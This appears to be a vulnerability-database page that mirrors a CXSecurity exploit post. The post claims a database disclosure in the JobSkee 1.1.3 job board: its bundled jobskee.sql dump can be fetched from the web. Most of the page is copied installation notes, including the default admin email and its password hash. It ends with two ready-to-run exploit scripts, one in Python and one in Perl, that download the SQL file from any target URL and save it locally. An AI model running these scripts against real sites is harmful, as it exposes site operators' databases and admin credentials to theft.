JobSkee Open Source JobBoard 1.1.3 Database Disclosure - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1567023 漏洞类型
发布时间 2019-04-12 更新时间 2019-04-12
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019040093
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
###########################################################################

# Exploit Title : JobSkee Open Source JobBoard 1.1.3 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 12/04/2019
# Vendor Homepage : jobskee.com
# Software Download Link : jobskee.com/download.php
# Software Information Link : jobskee.com/setup-your-own-job-board-in-10-steps.php
github.com/elinoretenorio/jobskee-open-source-job-board
# Software Version : 1.1.3
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : 
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/

###########################################################################

# Information about Software :
****************************
Jobskee is a simple open source job board for everyone.

###########################################################################

# Impact :
***********
* The product stores sensitive information in files or directories that are accessible 

to actors outside of the intended control sphere.

* An information exposure is the intentional or unintentional disclosure of information 

to an actor that is not explicitly authorized to have access to that information.

* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of 

MySQL over the World Wide Web. It can be used to dump a database or a collection of 

databases for backup or transfer to another SQL server (not necessarily a MySQL server). 

The dump typically contains SQL statements to create the table, populate it, or both. 

This file contains an phpMyAdmin SQL dump. This information is highly sensitive and 

should not be found on a production system.

* It looks like this file contains a database backup/dump. 

Acunetix inferred this filename from the domain name. A database backup contains a record of the

 table structure and/or the data from a database and is usually in the form of a list of SQL statements. 

A database backup is most often used for backing up a database so that its contents can be restored 

in the event of data loss. This information is highly sensitive and should never be found on a production system.

Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible 

to the web server. As a workaround, you could restrict access to this file.

Stacks used :
***************
Slim Microframework
RedBeanPHP
Bootstrap 3 UI
PHPMailer
Markdown
etc.

Requirements :
*****************
PHP 5.3 and above
MySQL
mod_rewrite enabled
Installation
Export sql file
Update admin table with your desired username and password (sha1)
Upload the files
Update config.php with your settings
Change file permission of /assets/images and /assets/attachments to 777
Check that all .htaccess files were uploaded
Default admin login info: Email: admin@example.com Password: admin

Installation Notes : 
*****************
Enable PHP5.3+ using .htaccess
Some old hosting providers still use PHP5.2 version, note that 
Jobskee will not run on this old version.

In order to use PHP5.3+, you can edit .htaccess file in the root folder 
and uncomment (remove the pound sign at the beginning of) this line:

?AddType application/x-httpd-php53 .php

Importing jobskee.sql
When you download Jobskee, you will find a database file 
included that you need to import to a MySQL database.

Before importing however, you can edit the file to update several things:

ADMIN ACCOUNT

You can look for this line in the .sql file

?INSERT INTO admin (id, email, password) VALUES 
(1, 'admin@example.com', 'd033e22ae348aeb5660fc2140aec35850c4da997');

?and change it with the values you want:

?INSERT INTO admin (id, email, password) VALUES 
(1, 'your desired admin email address', sha1('your desired admin password'));

You can also customize the default values for Categories and Cities 
with the values you want before importing jobskee.sql to your own database.

Setting up your Jobskee job board
After downloading Jobskee? and have setup your database and correct folder 
permission on assets/attachments and assets/images, you can now setup your 
job board by opening the config.php file found in the root folder.

I'd like to mention some important values in the config.php that you need to 
set in order to successfully run your job board:

APP_MODE - currently defaulted to 'development'. You need to set this to 
'production' when your site is in production mode as it affects several 
other configuration (i.e. database, debug, etc.)

APP_THEME - currently set to 'default'. This is the default theme used by Jobskee. 
If you would like to customize this theme, it is recommended that you copy 
/views/default to your new theme (i.e. /views/my_theme) and set APP_THEME to
 'my_theme'. This will ensure that you can go back to the default theme, 
should your theme customization produce error that you cannot recover.

SMTP SETTINGS - the default SMTP settings is Gmail friendly and should
 work right away when you provide your correct Gmail information. 
For other settings, like using your own hosting's default mail host, 
you must configure it correctly in order for email notifications to work.

These are the recommended settings:

Using "localhost"

?// SMTP SETTINGS
define('SMTP_ENABLED', true);
define('SMTP_AUTH', false);
define('SMTP_URL', 'localhost');
define('SMTP_USER', 'email@example.com');
define('SMTP_PASS', '');
define('SMTP_PORT', 25);
define('SMTP_SECURE', '');

and using Gmail

// SMTP SETTINGS
define('SMTP_ENABLED', true);
define('SMTP_AUTH', true);
define('SMTP_URL', 'smtp.gmail.com');
define('SMTP_USER', 'email@gmail.com');
define('SMTP_PASS', 'gmail password);
define('SMTP_PORT', 465);
define('SMTP_SECURE', 'ssl');

APPLICATION URL PATHS - as commented in the file, 
you need to provide your full URL including the trailing slashes.

SHARETHIS_PUBID - in order to enable the social media 
sharing for the jobs, you need to register a Publication ID at www.sharethis.com

CRON_TOKEN - this is used for running cron job to expire jobs. 
Provide a unique token that you can use in order to 
expire jobs using the path: /cron/jobs/expire/:cron_token

GA_TRACKING - get insights to your job board by adding 
a Google Analytics tracking ID here.

###########################################################################

File :
******
/jobskee.sql

Information :
*************
-- phpMyAdmin SQL Dump
-- version 4.0.5
-- http://www.phpmyadmin.net
--
-- Host: 127.0.0.1:3306
-- Generation Time: Aug 30, 2015 at 09:50 PM
-- Server version: 5.5.27
-- PHP Version: 5.5.7
-- Database: `jobskee`

-- Table structure for table `admin`

-- Dumping data for table `admin`

-- INSERT INTO `admin` (`id`, `email`, `password`) VALUES
(1, 'admin@example.com', 'd033e22ae348aeb5660fc2140aec35850c4da997');

-- Table structure for table `applications`

-- Table structure for table `banlist`

-- Table structure for table `blocks`

-- Dumping data for table `blocks`

-- Table structure for table `categories`

-- Dumping data for table `categories`

-- Table structure for table `cities`

-- Dumping data for table `cities`

-- Table structure for table `downloads`

-- Table structure for table `jobs`

-- Table structure for table `pages`

-- Dumping data for table `pages`

-- Table structure for table `subscriptions`

raw.githubusercontent.com/elinoretenorio/jobskee-open-source-job-board/master/jobskee.sql

###########################################################################

# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/jobskee.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

###########################################################################

# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army

use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('JobSkee Open Source JobBoard 1.1.3 Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="jobskee.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/jobskee.sql");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/jobskee.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###########################################################################